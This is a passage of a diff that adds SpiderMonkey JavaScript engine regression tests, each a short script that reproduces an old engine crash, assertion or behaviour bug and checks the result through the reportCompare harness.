+ errors.push('null property is not enumerable');
+
+ var getter_was_called = false;
+ obj.__defineGetter__(null, function() { getter_was_called = true; return 1; });
+ obj['null'];
+
+ if (!getter_was_called)
+ errors.push('getter was not assigned to the null property');
+
+ var setter_was_called = false;
+ obj.__defineSetter__(null, function() { setter_was_called = true; });
+ obj['null'] = 2;
+
+ if (!setter_was_called)
+ errors.push('setter was not assigned to the null property');
+
+ if (errors.length)
+ actual = errors.join('; ');
+
+ gc();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-414755.js b/js/src/tests/js1_5/extensions/regress-414755.js
new file mode 100644
index 000000000..7a4affe27
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-414755.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 414755;
+var summary = 'GC hazard due to missing SAVE_SP_AND_PC';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f()
+ {
+ var a = 1e10;
+ var b = 2e10;
+ var c = 3e10;
+
+ return (a*2) * ((b*2) * c);
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ expect = f();
+
+ gczeal(2);
+
+ actual = f();
+ }
+ else
+ {
+ expect = actual = 'Test requires gczeal, skipped.';
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-416354.js b/js/src/tests/js1_5/extensions/regress-416354.js
new file mode 100644
index 000000000..21432585e
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-416354.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416354;
+var summary = 'GC hazard due to missing SAVE_SP_AND_PC';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(a, b, c)
+ {
+ return (-a) * ((-b) * (-c));
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ expect = f(1.5, 1.25, 1.125);
+ gczeal(2);
+ actual = f(1.5, 1.25, 1.125);
+ }
+ else
+ {
+ expect = actual = 'Test requires gczeal, skipped.';
+ }
+
+ if (typeof gczeal == 'function')
+ {
+ gczeal(0);
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-416460.js b/js/src/tests/js1_5/extensions/regress-416460.js
new file mode 100644
index 000000000..7131f0217
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-416460.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416460;
+var summary = 'Do not assert: SCOPE_GET_PROPERTY(OBJ_SCOPE(pobj), ATOM_TO_JSID(atom))';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /a/.__proto__.__proto__ = { "2": 3 };
+ var b = /b/;
+ b["2"];
+ b["2"];
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-416834.js b/js/src/tests/js1_5/extensions/regress-416834.js
new file mode 100644
index 000000000..ffd145cf3
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-416834.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 416834;
+var summary = 'Do not assert: !entry || entry->kpc == ((PCVCAP_TAG(entry->vcap) > 1) ? (jsbytecode *) JSID_TO_ATOM(id) : cx->fp->pc)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+this.__proto__.x = eval;
+for (i = 0; i < 16; ++i)
+ delete eval;
+(function w() { x = 1; })();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-418730.js b/js/src/tests/js1_5/extensions/regress-418730.js
new file mode 100644
index 000000000..4c7d9d26f
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-418730.js
@@ -0,0 +1,32 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418730;
+var summary = 'export * should not halt script';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+for (var i = 0; i < 60; ++i)
+ this["v" + i] = true;
+
+expect = 'PASS';
+actual = 'FAIL';
+
+try {
+ print("GO");
+ export *;
+ print("PASS (1)");
+} catch(e) {
+ print("PASS (2)");
+}
+
+actual = 'PASS';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-420612.js b/js/src/tests/js1_5/extensions/regress-420612.js
new file mode 100644
index 000000000..a4491095e
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-420612.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420612;
+var summary = 'Do not assert: obj == pobj';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = Object.create([]);
+obj.unwatch("x");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/js1_5/extensions/regress-420869-01.js b/js/src/tests/js1_5/extensions/regress-420869-01.js
new file mode 100644
index 000000000..a3205dd13
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-420869-01.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 420869;
+var summary = 'Throw too much recursion instead of script stack space quota';
+var actual = 'No Error';
+var expect = 'InternalError: too much recursion';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(i) {
+ if (i == 0)
+ return 1;
+ return i*f(i-1);
+ }
+
+ try
+ {
+ f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-421621.js b/js/src/tests/js1_5/extensions/regress-421621.js
new file mode 100644
index 000000000..63532f485
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-421621.js
@@ -0,0 +1,22 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 421621;
+var summary = 'Do not assert with setter, export/import: (sprop)->slot != SPROP_INVALID_SLOT || !SPROP_HAS_STUB_SETTER(sprop)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var th = this;
+this.__defineSetter__('x', function () {});
+export *;
+import th.*;
+x;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-422592.js b/js/src/tests/js1_5/extensions/regress-422592.js
new file mode 100644
index 000000000..18f33d9eb
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-422592.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 422592;
+var summary = 'js.c dis/dissrc should not kill script execution';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis == 'undefined')
+ {
+ expect = actual = 'Test requires function dis. Not tested';
+ print(expect);
+ }
+ else
+ {
+ expect = 'Completed';
+ actual = 'Not Completed';
+ print('Before dis');
+ try
+ {
+ dis(print);
+ }
+ catch(ex)
+ {
+ }
+ print('After dis');
+ actual = 'Completed';
+ }
+ reportCompare(expect, actual, summary);
+
+ if (typeof dissrc == 'undefined')
+ {
+ expect = actual = 'Test requires function dissrc. Not tested';
+ print(expect);
+ }
+ else
+ {
+ print('Before dissrc');
+ expect = 'Completed';
+ actual = 'Not Completed';
+ try
+ {
+ dissrc(print);
+ }
+ catch(ex)
+ {
+ }
+ print('After dissrc');
+ actual = 'Completed';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-424683-01.js b/js/src/tests/js1_5/extensions/regress-424683-01.js
new file mode 100644
index 000000000..8786aa319
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-424683-01.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 424683;
+var summary = 'Throw too much recursion instead of script stack space quota';
+var actual = 'No Error';
+var expect = 'InternalError: too much recursion';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() { f(); }
+
+ try
+ {
+ f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-426711.js b/js/src/tests/js1_5/extensions/regress-426711.js
new file mode 100644
index 000000000..819aad1f9
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-426711.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 426711;
+var summary = 'Setting window.__count__ causes a crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined' && '__count__' in window)
+ {
+ window.__count__ = 0;
+ }
+ else
+ {
+ expect = actual = 'Test skipped. Requires window.__count__';
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-427196-01.js b/js/src/tests/js1_5/extensions/regress-427196-01.js
new file mode 100644
index 000000000..8d622cf2a
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-427196-01.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427196;
+var summary = 'Do not assert: OBJ_SCOPE(pobj)->object == pobj';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function boom()
+ {
+ var b = {};
+ Array.__proto__ = b;
+ b.__proto__ = {};
+ var c = {};
+ c.__proto__ = [];
+ try { c.__defineSetter__("t", undefined); } catch(e) { }
+ c.__proto__ = Array;
+ try { c.__defineSetter__("v", undefined); } catch(e) { }
+ }
+
+ boom();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-427196-02.js b/js/src/tests/js1_5/extensions/regress-427196-02.js
new file mode 100644
index 000000000..2ae4c6121
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-427196-02.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427196;
+var summary = 'Do not assert: OBJ_SCOPE(pobj)->object == pobj';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function boom()
+ {
+ var c = {__proto__: []};
+ var a = {__proto__: {__proto__: {}}};
+ c.hasOwnProperty("t");
+ c.__proto__ = a;
+ c.hasOwnProperty("v");
+ }
+
+ boom();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-427196-03.js b/js/src/tests/js1_5/extensions/regress-427196-03.js
new file mode 100644
index 000000000..9e618ffab
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-427196-03.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 427196;
+var summary = 'Do not assert: OBJ_SCOPE(pobj)->object == pobj';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var c = {__proto__: []};
+ var a = {__proto__: {__proto__: {}}};
+ c.hasOwnProperty;
+ c.__proto__ = a;
+ c.hasOwnProperty;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-429739.js b/js/src/tests/js1_5/extensions/regress-429739.js
new file mode 100644
index 000000000..fd38b9efe
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-429739.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 429739;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var actual;
+ try
+ {
+ var o = { __noSuchMethod__: Function };
+ actual = (new o.y) + '';
+ throw new Error("didn't throw, produced a value");
+ }
+ catch(ex)
+ {
+ actual = ex;
+ }
+
+ reportCompare("TypeError", actual.name, "bad error name");
+ reportCompare(true, /is not a constructor/.test(actual), summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-432075.js b/js/src/tests/js1_5/extensions/regress-432075.js
new file mode 100644
index 000000000..7fa63fed3
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-432075.js
@@ -0,0 +1,25 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 432075;
+var summary = 'A function decompiles as [object Function] after export/import';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = Function;
+var t = this;
+export *;
+import t.*;
+Function = a;
+
+expect = 'function anonymous() {}';
+actual = (new Function("")) + '';
+
+compareSource(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-434837-01.js b/js/src/tests/js1_5/extensions/regress-434837-01.js
new file mode 100644
index 000000000..571ed68d7
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-434837-01.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 434837;
+var summary = '|this| in accessors in prototype chain of array';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x = [ "one", "two" ];
+ Array.prototype.__defineGetter__('test1', function() { actual = (this === x); });
+ x.test1;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test1');
+
+ try
+ {
+ expect = false;
+ actual = null;
+ Array.prototype.__defineGetter__('test2', function() { actual = (this === Array.prototype) });
+ x.test2;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test2');
+
+ Array.prototype.__defineGetter__('test3', function() { actual = (this === x) });
+ Array.prototype.__defineSetter__('test3', function() { actual = (this === x) });
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x.test3;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test3 (1)');
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x.test3 = 5;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test3 = 5');
+
+ try
+ {
+ expect = true;
+ actual = null;
+ x.test3;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': x.test3 (2)');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-435345-01.js b/js/src/tests/js1_5/extensions/regress-435345-01.js
new file mode 100644
index 000000000..28beab473
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-435345-01.js
@@ -0,0 +1,100 @@
+// |reftest| fails
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435345;
+var summary = 'Watch the length property of arrays';
+var actual = '';
+var expect = '';
+
+// see http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference:Objects:Object:watch
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var arr;
+
+ try
+ {
+ expect = 'watcher: propname=length, oldval=0, newval=1; ';
+ actual = '';
+ arr = [];
+ arr.watch('length', watcher);
+ arr[0] = '0';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ expect = 'watcher: propname=length, oldval=1, newval=2; ' +
+ 'watcher: propname=length, oldval=2, newval=2; ';
+ actual = '';
+ arr.push(5);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try
+ {
+ expect = 'watcher: propname=length, oldval=2, newval=1; ';
+ actual = '';
+ arr.pop();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 3');
+
+ try
+ {
+ expect = 'watcher: propname=length, oldval=1, newval=2; ';
+ actual = '';
+ arr.length++;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 4');
+
+ try
+ {
+ expect = 'watcher: propname=length, oldval=2, newval=5; ';
+ actual = '';
+ arr.length = 5;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 5');
+
+ exitFunc ('test');
+}
+
+function watcher(propname, oldval, newval)
+{
+ actual += 'watcher: propname=' + propname + ', oldval=' + oldval +
+ ', newval=' + newval + '; ';
+
+ return newval;
+}
+
diff --git a/js/src/tests/js1_5/extensions/regress-435497-01.js b/js/src/tests/js1_5/extensions/regress-435497-01.js
new file mode 100644
index 000000000..524e48bb0
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-435497-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435497;
+var summary = 'Do not assert op2 == JSOP_INITELEM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { x, x setter = 0, y; const x; })();');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-435497-02.js b/js/src/tests/js1_5/extensions/regress-435497-02.js
new file mode 100644
index 000000000..a61fdaa20
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-435497-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435497;
+var summary = 'Do not assert op2 == JSOP_INITELEM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { x setter = 0, y; const x; })();');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-435497-03.js b/js/src/tests/js1_5/extensions/regress-435497-03.js
new file mode 100644
index 000000000..619ea6473
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-435497-03.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 435497;
+var summary = 'Do not assert op2 == JSOP_INITELEM';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function() { x getter= function(){} ; var x5, x = 0x99; })();');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-436741.js b/js/src/tests/js1_5/extensions/regress-436741.js
new file mode 100644
index 000000000..be85e5a8d
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-436741.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 436741;
+var summary = 'Do not assert: OBJ_IS_NATIVE(obj)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ print('This test is only meaningful in the browser.');
+ }
+ else
+ {
+ try { window.__proto__.__proto__ = [{}]; } catch (e) {}
+ for (var j in window);
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-437288-01.js b/js/src/tests/js1_5/extensions/regress-437288-01.js
new file mode 100644
index 000000000..5a8ea6e38
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-437288-01.js
@@ -0,0 +1,29 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 437288;
+var summary = 'for loop turning into a while loop';
+var actual = 'No Hang';
+var expect = 'No Hang';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { const x = 1; for (x in null); })();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-44009.js b/js/src/tests/js1_5/extensions/regress-44009.js
new file mode 100644
index 000000000..def7fb679
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-44009.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 Feb 2001
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=44009
+ *
+ * SUMMARY: Testing that we don't crash on obj.toSource()
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 44009;
+var summary = "Testing that we don't crash on obj.toSource()";
+var obj1 = {};
+var sToSource = '';
+var self = this; //capture a reference to the global JS object -
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
